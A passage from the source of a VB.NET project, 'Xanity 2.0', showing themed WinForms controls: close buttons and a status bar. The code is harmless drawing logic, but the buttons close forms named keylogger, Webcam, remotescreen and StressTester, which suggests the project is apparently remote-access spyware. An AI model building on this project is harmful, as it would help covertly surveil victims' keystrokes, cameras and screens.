WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.keylogger.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseWE.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseWE 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseWE.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseWE.__ENCList 33 | SyncLock list 34 | If (FlatCloseWE.__ENCList.Count = FlatCloseWE.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseWE.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseWE.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseWE.__ENCList.Item(index) = FlatCloseWE.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseWE.__ENCList.RemoveRange(index, (FlatCloseWE.__ENCList.Count - index)) 49 | FlatCloseWE.__ENCList.Capacity = FlatCloseWE.__ENCList.Count 50 | End If 51 | FlatCloseWE.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.Webcam.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseRE.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseRE 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseRE.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseRE.__ENCList 33 | SyncLock list 34 | If (FlatCloseRE.__ENCList.Count = FlatCloseRE.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseRE.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseRE.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseRE.__ENCList.Item(index) = FlatCloseRE.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseRE.__ENCList.RemoveRange(index, (FlatCloseRE.__ENCList.Count - index)) 49 | FlatCloseRE.__ENCList.Capacity = FlatCloseRE.__ENCList.Count 50 | End If 51 | FlatCloseRE.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.remotescreen.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseSS.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseSS 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseSS.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseSS.__ENCList 33 | SyncLock list 34 | If (FlatCloseSS.__ENCList.Count = FlatCloseSS.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseSS.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseSS.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseSS.__ENCList.Item(index) = FlatCloseSS.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseSS.__ENCList.RemoveRange(index, (FlatCloseSS.__ENCList.Count - index)) 49 | FlatCloseSS.__ENCList.Capacity = FlatCloseSS.__ENCList.Count 50 | End If 51 | FlatCloseSS.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.StressTester.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatCloseSY.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Collections.Generic 3 | Imports System.ComponentModel 4 | Imports System.Diagnostics 5 | Imports System.Drawing 6 | Imports System.Drawing.Drawing2D 7 | Imports System.Drawing.Text 8 | Imports System.Runtime.CompilerServices 9 | Imports System.Windows.Forms 10 | Imports Xanity_2._0.My 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatCloseSY 14 | Inherits Control 15 | ' Methods 16 | Public Sub New() 17 | FlatCloseSY.__ENCAddToList(Me) 18 | Me.State = MouseState.None 19 | Me._BaseColor = Color.FromArgb(&HA8, &H23, &H23) 20 | Me._TextColor = Color.FromArgb(&HF3, &HF3, &HF3) 21 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 22 | Me.DoubleBuffered = True 23 | Me.BackColor = Color.White 24 | Dim size2 As New Size(&H12, &H12) 25 | Me.Size = size2 26 | Me.Anchor = (AnchorStyles.Right Or AnchorStyles.Top) 27 | Me.Font = New Font("Marlett", 10!) 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatCloseSY.__ENCList 33 | SyncLock list 34 | If (FlatCloseSY.__ENCList.Count = FlatCloseSY.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatCloseSY.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatCloseSY.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatCloseSY.__ENCList.Item(index) = FlatCloseSY.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatCloseSY.__ENCList.RemoveRange(index, (FlatCloseSY.__ENCList.Count - index)) 49 | FlatCloseSY.__ENCList.Capacity = FlatCloseSY.__ENCList.Count 50 | End If 51 | FlatCloseSY.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub OnClick(ByVal e As EventArgs) 56 | MyBase.OnClick(e) 57 | MyProject.Forms.SystemInformation.Close 58 | End Sub 59 | 60 | Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) 61 | MyBase.OnMouseDown(e) 62 | Me.State = MouseState.Down 63 | Me.Invalidate 64 | End Sub 65 | 66 | Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) 67 | MyBase.OnMouseEnter(e) 68 | Me.State = MouseState.Over 69 | Me.Invalidate 70 | End Sub 71 | 72 | Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) 73 | MyBase.OnMouseLeave(e) 74 | Me.State = MouseState.None 75 | Me.Invalidate 76 | End Sub 77 | 78 | Protected Overrides Sub OnMouseMove(ByVal e As MouseEventArgs) 79 | MyBase.OnMouseMove(e) 80 | Me.x = e.X 81 | Me.Invalidate 82 | End Sub 83 | 84 | Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) 85 | MyBase.OnMouseUp(e) 86 | Me.State = MouseState.Over 87 | Me.Invalidate 88 | End Sub 89 | 90 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 91 | Dim image As New Bitmap(Me.Width, Me.Height) 92 | Dim graphics As Graphics = Graphics.FromImage(image) 93 | Dim rect As New Rectangle(0, 0, Me.Width, Me.Height) 94 | Dim graphics2 As Graphics = graphics 95 | graphics2.SmoothingMode = SmoothingMode.HighQuality 96 | graphics2.PixelOffsetMode = PixelOffsetMode.HighQuality 97 | graphics2.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 98 | graphics2.Clear(Me.BackColor) 99 | graphics2.FillRectangle(New SolidBrush(Me._BaseColor), rect) 100 | Dim layoutRectangle As New Rectangle(0, 0, Me.Width, Me.Height) 101 | graphics2.DrawString("r", Me.Font, New SolidBrush(Me.TextColor), layoutRectangle, Helpers.CenterSF) 102 | Select Case CByte((CInt(Me.State) - 1)) 103 | Case 0 104 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), rect) 105 | Exit Select 106 | Case 1 107 | graphics2.FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), rect) 108 | Exit Select 109 | End Select 110 | graphics2 = Nothing 111 | MyBase.OnPaint(e) 112 | graphics.Dispose 113 | e.Graphics.InterpolationMode = InterpolationMode.HighQualityBicubic 114 | e.Graphics.DrawImageUnscaled(image, 0, 0) 115 | image.Dispose 116 | End Sub 117 | 118 | Protected Overrides Sub OnResize(ByVal e As EventArgs) 119 | MyBase.OnResize(e) 120 | Dim size2 As New Size(&H12, &H12) 121 | Me.Size = size2 122 | End Sub 123 | 124 | 125 | ' Properties 126 | _ 127 | Public Property BaseColor As Color 128 | Get 129 | Return Me._BaseColor 130 | End Get 131 | Set(ByVal value As Color) 132 | Me._BaseColor = value 133 | End Set 134 | End Property 135 | 136 | _ 137 | Public Property TextColor As Color 138 | Get 139 | Return Me._TextColor 140 | End Get 141 | Set(ByVal value As Color) 142 | Me._TextColor = value 143 | End Set 144 | End Property 145 | 146 | 147 | ' Fields 148 | Private Shared __ENCList As List(Of WeakReference) = New List(Of WeakReference) 149 | Private _BaseColor As Color 150 | Private _TextColor As Color 151 | Private State As MouseState 152 | Private x As Integer 153 | End Class 154 | End Namespace 155 | 156 | -------------------------------------------------------------------------------- /xanity-2.0-src/Xanity_2/_0/FlatStatusBar.vb: -------------------------------------------------------------------------------- 1 | Imports Microsoft.VisualBasic.CompilerServices 2 | Imports System 3 | Imports System.Collections.Generic 4 | Imports System.ComponentModel 5 | Imports System.Diagnostics 6 | Imports System.Drawing 7 | Imports System.Drawing.Drawing2D 8 | Imports System.Drawing.Text 9 | Imports System.Runtime.CompilerServices 10 | Imports System.Windows.Forms 11 | 12 | Namespace Xanity_2._0 13 | Friend Class FlatStatusBar 14 | Inherits StatusBar 15 | ' Methods 16 | Public Sub New() 17 | FlatStatusBar.__ENCAddToList(Me) 18 | Me._ShowTimeDate = False 19 | Me._BaseColor = Color.FromArgb(&H2D, &H2F, &H31) 20 | Me._TextColor = Color.White 21 | Me._RectColor = Helpers._FlatColor 22 | Me.SetStyle((ControlStyles.OptimizedDoubleBuffer Or (ControlStyles.AllPaintingInWmPaint Or (ControlStyles.ResizeRedraw Or ControlStyles.UserPaint))), True) 23 | Me.DoubleBuffered = True 24 | Me.Font = New Font("Segoe UI", 8!) 25 | Me.ForeColor = Color.White 26 | Dim size2 As New Size(Me.Width, 20) 27 | Me.Size = size2 28 | End Sub 29 | 30 | _ 31 | Private Shared Sub __ENCAddToList(ByVal value As Object) 32 | Dim list As List(Of WeakReference) = FlatStatusBar.__ENCList 33 | SyncLock list 34 | If (FlatStatusBar.__ENCList.Count = FlatStatusBar.__ENCList.Capacity) Then 35 | Dim index As Integer = 0 36 | Dim num3 As Integer = (FlatStatusBar.__ENCList.Count - 1) 37 | Dim i As Integer = 0 38 | Do While (i <= num3) 39 | Dim reference As WeakReference = FlatStatusBar.__ENCList.Item(i) 40 | If reference.IsAlive Then 41 | If (i <> index) Then 42 | FlatStatusBar.__ENCList.Item(index) = FlatStatusBar.__ENCList.Item(i) 43 | End If 44 | index += 1 45 | End If 46 | i += 1 47 | Loop 48 | FlatStatusBar.__ENCList.RemoveRange(index, (FlatStatusBar.__ENCList.Count - index)) 49 | FlatStatusBar.__ENCList.Capacity = FlatStatusBar.__ENCList.Count 50 | End If 51 | FlatStatusBar.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value))) 52 | End SyncLock 53 | End Sub 54 | 55 | Protected Overrides Sub CreateHandle() 56 | MyBase.CreateHandle 57 | Me.Dock = DockStyle.Bottom 58 | End Sub 59 | 60 | Public Function GetTimeDate() As String 61 | Return String.Concat(New String() { Conversions.ToString(DateTime.Now.Date), " ", Conversions.ToString(DateTime.Now.Hour), ":", Conversions.ToString(DateTime.Now.Minute) }) 62 | End Function 63 | 64 | Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) 65 | Helpers.B = New Bitmap(Me.Width, Me.Height) 66 | Helpers.G = Graphics.FromImage(Helpers.B) 67 | Me.W = Me.Width 68 | Me.H = Me.Height 69 | Dim rect As New Rectangle(0, 0, Me.W, Me.H) 70 | Dim g As Graphics = Helpers.G 71 | g.SmoothingMode = SmoothingMode.HighQuality 72 | g.PixelOffsetMode = PixelOffsetMode.HighQuality 73 | g.TextRenderingHint = TextRenderingHint.ClearTypeGridFit 74 | g.Clear(Me.BaseColor) 75 | g.FillRectangle(New SolidBrush(Me.BaseColor), rect) 76 | Dim layoutRectangle As New Rectangle(10, 4, Me.W, Me.H) 77 | g.DrawString(Me.Text, Me.Font, Brushes.White, layoutRectangle, Helpers.NearSF) 78 | layoutRectangle = New Rectangle(4, 4, 4, 14) 79 | g.FillRectangle(New SolidBrush(Me._RectColor), layoutRectangle) 80 | If Me.ShowTimeDate Then 81 | layoutRectangle = New Rectangle(-4, 2, Me.W, Me.H) 82 | Dim format As New StringFormat With { _ 83 | .Alignment = StringAlignment.Far, _ 84 | .LineAlignment = StringAlignment.Center _ 85 | } 86 | g.DrawString(Me.GetTimeDate, Me.Font, New SolidBrush(Me._TextColor), layoutRectangle, format) 87 | End If 88 | g = Nothing 89 | MyBase.OnPaint(e) 90 | Helpers.G.Dispose 91 | e.Graphics.InterpolationMode = 